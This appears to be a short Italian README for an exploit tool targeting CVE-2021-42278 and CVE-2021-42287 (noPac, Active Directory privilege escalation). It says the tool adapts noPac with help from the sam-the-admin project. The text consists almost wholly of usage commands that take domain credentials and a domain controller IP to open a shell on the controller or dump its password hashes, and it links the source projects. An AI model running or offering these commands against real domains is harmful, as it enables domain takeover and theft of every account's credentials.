
Sfruttamento di CVE-2021-42278 e CVE-2021-42287
Sfruttando CVE-2021-42278 e CVE-2021-42287
Il progetto originale noPac potrebbe avere alcuni problemi nell'implementazione, che hanno impedito il successo locale, quindi ci siamo riferiti al progetto sam-the-admin per apportare modifiche.
pip3 install -r requirements.txt
# GetShell
python3 exp.py "domain/Username:Passw0rd" -dc-ip 192.168.0.254 -shell
# DumpHash
python3 exp.py "domain/Username:Passw0rd" -dc-ip 192.168.0.254 -dump
https://github.com/cube0x0/noPac
https://github.com/WazeHell/sam-the-admin